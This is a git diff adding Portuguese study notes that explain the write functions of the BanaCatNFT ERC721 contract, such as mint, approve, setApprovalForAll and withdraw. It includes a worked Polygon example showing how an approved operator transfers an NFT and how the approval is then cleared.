[香蕉猫看戏篇](https://sticker.weixin.qq.com/cgi-bin/mmemoticon-bin/emoticonview?oper=single&t=shop/detail&productid=aL2PCfwK/89qO7sF6/+I+UDhfwEjhec2ZNvdnLLJRd/N7QVyYnUnFpeB0t9OOOGqFiGlj08OJVil+/ruMQmJp3eFNlkqDVcbCJC9A4/2eWbE=) + +--- + +# A função "write" altera o estado do contrato e cada transação consome uma certa quantidade de gás. + +Como é necessário assinar cada transação com a chave privada, é necessário conectar sua carteira antes de interagir com o contrato. + +![](./img/Untitled.png) + +--- + +`approve()`: autoriza um único NFT para um determinado operador, permitindo que ele transfira o NFT em nome do proprietário. Será fornecido um exemplo posteriormente. + +![Untitled](./img/1.png) + +![Untitled](./img/2.png) + +`_tokenApprovals` é um mapeamento de `tokenID` para o endereço do `operador`. A função `approve()` usa esse mapeamento para autorizar um endereço específico a transferir o NFT. + +![Untitled](./img/3.png) + +![Untitled](./img/4.png) + +--- + +`mint()`: função de criação de NFT. Durante a fase de promoção do projeto, seja por meio de criação de lista branca ou venda pública, a função `mint()` é chamada diretamente ou indiretamente. A criação de NFT na camada do contrato refere-se a pular o processo de criação do site oficial do projeto e interagir diretamente com o contrato por meio de um explorador de blockchain ou chamada RPC local. Essa função é muito importante, pois é o ponto de partida para a emissão de NFT. + +O primeiro parâmetro `mint` é a quantidade total de tokens a serem pagos; + +`_mintAmount()`: quantidade de NFTs a serem criados de uma vez; + +O preço unitário da criação varia dependendo se há uma lista branca ou não, mas o `preço total = preço unitário * quantidade`. O contrato deduzirá o valor total dos tokens da conta do criador (o gás é calculado separadamente); + +![Untitled](./img/5.png) + +--- + +A função `mint()` verifica se o valor de `_mintAmount` é válido, ou seja, `_mintAmount` deve ser maior que 0 e não pode exceder a quantidade máxima de criação em uma única vez, `maxMintAmount`; + +Além disso, a função verifica se a quantidade de criação atual `_mintAmount` somada à quantidade total de criações `_totalsupply` não excede o fornecimento máximo de NFTs do contrato `maxSupply`; + +Em seguida, a função verifica se o valor total dos tokens enviados pelo criador da transação é maior ou igual ao preço total da criação dos NFTs; + +Por fim, a função usa um loop para chamar a função `_safeMint()` para criar os NFTs para cada usuário. (Esse método de loop é fácil de entender, mas o custo de criação em lote é alto. O protocolo ERC721A proposto por Azuki economiza gás ao criar NFTs em lote, mas falaremos sobre isso mais adiante). + +![Untitled](./img/6.png) + +A função `_safeMint()` é chamada de "segura" porque verifica a identidade do criador. Se o criador for um contrato, o contrato deve implementar a interface `IERC721Receiver`. Para mais informações sobre `IERC721Receiver`, consulte o artigo de A: + +[WTF Solidity极简入门 ERC721专题:1. ERC721相关库](https://mirror.xyz/wtfacademy.eth/PAsIFLAmEoMufZsXlX0NWsVF8DHpHz3OrYlooosy9Ho) + +![Untitled](./img/7.png) + +Há um pequeno detalhe: o primeiro parâmetro de `_checkOn721Received()` é `from`, que é definido como `address(0)` ou `0x0000000000000000000000000000000000000000` quando chamado por `_safeMint()`. Isso significa que o NFT está sendo transferido do endereço 0. Em seguida, a função `_mint()` dispara o evento `Transfer` para registrar a transferência do NFT do endereço `from` para o endereço `to`. Aqui, `from` também é `address(0)`. Embora todos os NFTs sejam criados pelo contrato, o endereço de origem do NFT não é o endereço do contrato. Minha interpretação disso é que queimar um NFT é basicamente enviá-lo para o endereço 0, o que significa que o NFT foi destruído e perdeu sua liquidez. Talvez isso também inclua o ditado "de onde vem, para onde vai". + +![Untitled](./img/8.png) + +A função `_mint()` dispara o evento `Transfer()` para gerar um arquivo de log no blockchain. + +![Untitled](./img/9.png) + +![Untitled](./img/10.png) + +--- + +`pause()`: define se a atividade de criação de NFT está pausada. `true` significa pausado e `false` significa que a criação está permitida. + +![Untitled](./img/11.png) + +![Untitled](./img/12.png) + +--- + +`renounceOwnership()`: o projeto renuncia ao controle do contrato, definindo o endereço do `owner` como `address(0)`, o que significa que ninguém mais pode controlar o contrato, assim como poeira no universo. + +Se o saldo do contrato não puder ser retirado. Função de alto risco (nível de risco: máximo⚠️⚠️⚠️⚠️⚠️) + +![Untitled](./img/13.png) + +![Untitled](./img/14.png) + +--- + +`safeTransferFrom()`: função de transferência de NFT, transfere um NFT com o ID fornecido `tokenID` do endereço `from` para o endereço `to`. + +![Untitled](./img/15.png) + +![Untitled](./img/16.png) + +--- + +`safeTransferFrom()`: função de transferência de NFT, transfere um NFT com o ID fornecido `tokenID` do endereço `from` para o endereço `to`, com alguns dados adicionais que podem ser usados para atividades explicativas (como escrever um texto de arquivo permanente no blockchain). + +![Untitled](./img/17.png) + +![Untitled](./img/18.png) + +![Untitled](./img/19.png) + +Por que o nome é `safeTransferFrom` em vez de `safeTransfer`? Embora pareça que apenas uma palavra foi removida do nome, isso está relacionado ao problema da delegação de direitos. + +Existem duas categorias de atores em um contrato ERC721 que podem transferir um NFT: o proprietário do NFT e o operador autorizado atual do NFT. O "from" no nome da função representa de qual conta o NFT está sendo transferido, e muitas vezes o endereço para o qual o NFT está sendo transferido não é o proprietário real do NFT. Vamos dar um exemplo para ilustrar esse fenômeno. + +[_safeTransferFrom()使用代理转移NFT (1)](BanaCat%20NFT%20Contract%EF%BC%882%203%EF%BC%89%202fed2b20e00b4af9acf6104983616ced/_safeTransferFrom()%E4%BD%BF%E7%94%A8%E4%BB%A3%E7%90%86%E8%BD%AC%E7%A7%BBNFT%20(1)%209ed361c7830b4b1a8375000b5bedcd07.md) + +Mas qual é o propósito dessa operação? + +Na minha opinião, os NFTs têm propriedades financeiras desde o momento em que são criados, e a autorização para o NFT fornece um método viável para garantia. O autorizador pode obter empréstimos com base na garantia, e as instituições de empréstimo podem emitir ativos financeiros derivados dos NFTs obtidos como garantia... O espaço de aplicação dos NFTs vai muito além da minha imaginação! + +--- + +`setApprovalForAll()`: autoriza todos os NFTs do endereço do `owner` para o `operator`. + +Função de alto risco (nível de risco: ⚠️⚠️⚠️) + +![Untitled](./img/20.png) + +`_operatorApprovals` é um mapeamento de dois níveis (endereço do proprietário ⇒ (endereço do operador ⇒ bool)). A função `setApprovalForAll()` usa esse mapeamento para definir se todos os NFTs do proprietário estão autorizados para o `operator`. + +![Untitled](./img/21.png) + +![Untitled](./img/22.png) + +[Exemplo de setApprovalForAll()](https://github.com/ShuxunoO/WTFSolidity/blob/main/Topics/ERC721%E6%8E%A5%E5%8F%A3%E8%A7%A3%E6%9E%90/Notes_02_%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90_ShuxunOo/setApprovalForAll%EF%BC%88%EF%BC%89%E7%9A%84%E5%AE%9E%E4%BE%8B.md) + +--- + +`setBaseExtension()`: define a extensão do arquivo `Metadata`. Geralmente, essa função não é usada, pois a extensão padrão é "json". + +![Untitled](./img/23.png) + +![Untitled](./img/24.png) + +--- + +`setBaseURI()`: define o `BaseURI` do NFT. Função de alto risco (nível de risco: ⚠️⚠️⚠️). Geralmente, é usada apenas para o lançamento do projeto e não é mais usada após o lançamento. + +![Untitled](./img/25.png) + +![Untitled](./img/26.png) + +--- + +`setCost()`: define o preço de criação dos NFTs durante a venda pública. + +![Untitled](./img/27.png) + +![Untitled](./img/28.png) + +![Untitled](./img/29.png) + +--- + +`transferFrom()`: função de transferência de NFT, transfere um NFT com o ID fornecido `tokenID` do endereço `from` para o endereço `to`. Não verifica o endereço `to`, portanto, não é "segura". + +![Untitled](./img/30.png) + +![Untitled](./img/31.png) + +--- + +`transferOwnership()`: transfere a propriedade do contrato para um novo endereço. + +Função de alto risco (nível de risco: ⚠️⚠️⚠️⚠️) + +![Untitled](./img/32.png) + +`Ownable.sol` é um arquivo de extensão que contém funções adicionais. Para mais detalhes, consulte o seguinte link: + +[openzeppelin-contracts/Ownable.sol at master · OpenZeppelin/openzeppelin-contracts](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol) + +![Untitled](./img/33.png) + +--- + +`withdraw()`: transfere o saldo do contrato para o endereço do `owner` do contrato. Acredito que a maioria dos projetos esteja esperando por esse último passo. + +![Untitled](./img/34.png) + +![Untitled](./img/35.png) + +O próximo artigo apresentará um mecanismo de lista branca de senhas projetado no contrato BanaCatNFT. + diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT .md" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT .md" new file mode 100644 index 000000000..b9135063f --- /dev/null +++ "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT .md" @@ -0,0 +1,72 @@ +# _safeTransferFrom() usando proxy para transferir NFT (1) + +O endereço `0xb9016E740176B54755cBAad721dCDD6a65aB40Fd` possui os tokens com IDs `[951, 952]` + +![Untitled](./img/_safeTransferFrom()使用代理转移NFT_.png) + +O endereço `0x0FD745DB2fd13f1598c65fa3d32696C1fF6DA23f` não possui NFTs + +![Untitled](./img/_safeTransferFrom()使用代理转移NFT_1.png) + +Agora vamos autorizar o NFT com ID 951 do endereço `0xb9016E740176B54755cBAad721dCDD6a65aB40Fd` para o endereço `0x0FD745DB2fd13f1598c65fa3d32696C1fF6DA23f` + +![Untitled](./img/_safeTransferFrom()使用代理转移NFT_2.png) + +Detalhes da transação: + +[Polygon Transaction Hash (Txhash) Details | PolygonScan](https://polygonscan.com/tx/0x58873c6278ed0f7448afcc8a4f8225c7912de7c8b8497048fcfd8f3cd70f0cc4) + +Agora, verificando novamente, o endereço `0x0FD745DB2fd13f1598c65fa3d32696C1fF6DA23f` ainda não possui NFTs + +![Untitled](./img/_safeTransferFrom()使用代理转移NFT_3.png) + +O NFT com ID 951 ainda pertence ao endereço `0xb9016E740176B54755cBAad721dCDD6a65aB40Fd` + +![Untitled](./img/_safeTransferFrom()使用代理转移NFT_4.png) + +Mas ao chamar a função `getApprove()`, vemos que o NFT com ID 951 já foi autorizado para o endereço `0x0FD745DB2fd13f1598c65fa3d32696C1fF6DA23f` + +![Untitled](./img/_safeTransferFrom()使用代理转移NFT_5.png) + +Agora, vamos usar o endereço `0x0FD745DB2fd13f1598c65fa3d32696C1fF6DA23f` para transferir o NFT com ID 951 do endereço `0xb9016E740176B54755cBAad721dCDD6a65aB40Fd` para o endereço `0x8600C2E501f145C2EaA1fC2a46334Fe7B29493c1` + +![Untitled](./img/_safeTransferFrom()使用代理转移NFT_6.png) + +Detalhes da transação: + +[Polygon Transaction Hash (Txhash) Details | PolygonScan](https://polygonscan.com/tx/0x042fa2f76ba9716255f2c399e3abf881978a15c7b27f925fe2373c4eadce71a5) + +Agora o endereço `0x8600C2E501f145C2EaA1fC2a46334Fe7B29493c1` possui o NFT com ID 951 + +![Untitled](./img/_safeTransferFrom()使用代理转移NFT_7.png) + +O endereço `0xb9016E740176B54755cBAad721dCDD6a65aB40Fd` agora possui apenas o NFT com ID 952 + +![Untitled](./img/_safeTransferFrom()使用代理转移NFT_8.png) + +## Uma pequena questão: + +Quando o NFT com ID 951 foi transferido do endereço original `0xb9016E740176B54755cBAad721dCDD6a65aB40Fd` para o endereço `0x8600C2E501f145C2EaA1fC2a46334Fe7B29493c1`, a autorização anterior do endereço `0xb9016E740176B54755cBAad721dCDD6a65aB40Fd` para o endereço `0x0FD745DB2fd13f1598c65fa3d32696C1fF6DA23f` como proxy ainda está válida? + +Intuitivamente, com a perda da propriedade do NFT com ID 951 pelo endereço `0xb9016E740176B54755cBAad721dCDD6a65aB40Fd`, todas as operações relacionadas à propriedade feitas anteriormente pelo endereço `0xb9016E740176B54755cBAad721dCDD6a65aB40Fd` seriam invalidadas. Se a autorização ainda estivesse válida, o endereço `0x0FD745DB2fd13f1598c65fa3d32696C1fF6DA23f` ainda poderia transferir o NFT com ID 951 secretamente para outra pessoa, o que claramente não faz sentido. Vamos verificar nossa suposição. + +![Untitled](./img/_safeTransferFrom()使用代理转移NFT_9.png) + +O endereço autorizado para o NFT com ID 951 agora é 0, a autorização anterior foi automaticamente cancelada, tudo isso foi implementado pelos desenvolvedores. + +Relação entre as funções: `safeTransferFrom()` chama `safeTransferFrom()` (mesmo nome de função, mas com parâmetros diferentes) que chama `_transfer()`, e em `_transfer()`, a alteração de autorização é cancelada. + +![Untitled](./img/_safeTransferFrom()使用代理转移NFT_10.png) + +![Untitled](./img/_safeTransferFrom()使用代理转移NFT_11.png) + +![Untitled](./img/_safeTransferFrom()使用代理转移NFT_12.png) + +A alteração de autorização é cancelada em `_transfer()`. + +![Untitled](./img/_safeTransferFrom()使用代理转移NFT_13.png) + +[Polygon Transaction Hash (Txhash) Details | PolygonScan](https://polygonscan.com/tx/0x41de905938fc10782b4269dc4ad065be2a1391caa12f8afabd92902b4a2b4835) + +![Untitled](./img/_safeTransferFrom()使用代理转移NFT_14.png) + diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/1.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/1.png" new file mode 100644 index 000000000..a5dbf5853 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/1.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/10.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/10.png" new file mode 100644 index 000000000..e469205e1 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/10.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/11.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/11.png" new file mode 100644 index 000000000..740b6899b Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/11.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/12.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/12.png" new file mode 100644 index 000000000..d58c6db1f Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/12.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/13.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/13.png" new file mode 100644 index 000000000..bab6ddd87 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/13.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/14.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/14.png" new file mode 100644 index 000000000..47c603e2a Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/14.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/15.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/15.png" new file mode 100644 index 000000000..b70af4b81 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/15.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/16.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/16.png" new file mode 100644 index 000000000..0bfcc218b Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/16.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/17.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/17.png" new file mode 100644 index 000000000..dd5d5b35a Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/17.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/18.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/18.png" new file mode 100644 index 000000000..918a2b852 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/18.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/19.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/19.png" new file mode 100644 index 000000000..1b56a4ac5 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/19.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/2.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/2.png" new file mode 100644 index 000000000..8c5124eec Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/2.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/20.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/20.png" new file mode 100644 index 000000000..30b37986c Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/20.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/21.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/21.png" new file mode 100644 index 000000000..1b0725dec Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/21.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/22.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/22.png" new file mode 100644 index 000000000..166b255b5 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/22.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/23.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/23.png" new file mode 100644 index 000000000..351b953a7 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/23.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/24.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/24.png" new file mode 100644 index 000000000..a9a14d120 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/24.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/25.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/25.png" new file mode 100644 index 000000000..63e0ee644 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/25.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/26.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/26.png" new file mode 100644 index 000000000..d70893acf Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/26.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/27.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/27.png" new file mode 100644 index 000000000..5cd79023d Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/27.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/28.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/28.png" new file mode 100644 index 000000000..fdefc2bb8 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/28.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/29.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/29.png" new file mode 100644 index 000000000..19738df9f Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/29.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/3.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/3.png" new file mode 100644 index 000000000..6f76a21a1 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/3.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/30.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/30.png" new file mode 100644 index 000000000..4e19378b8 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/30.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/31.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/31.png" new file mode 100644 index 000000000..5ca603048 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/31.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/32.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/32.png" new file mode 100644 index 000000000..7bf55d544 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/32.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/33.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/33.png" new file mode 100644 index 000000000..69d9453fe Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/33.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/34.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/34.png" new file mode 100644 index 000000000..68997728d Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/34.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/35.png" 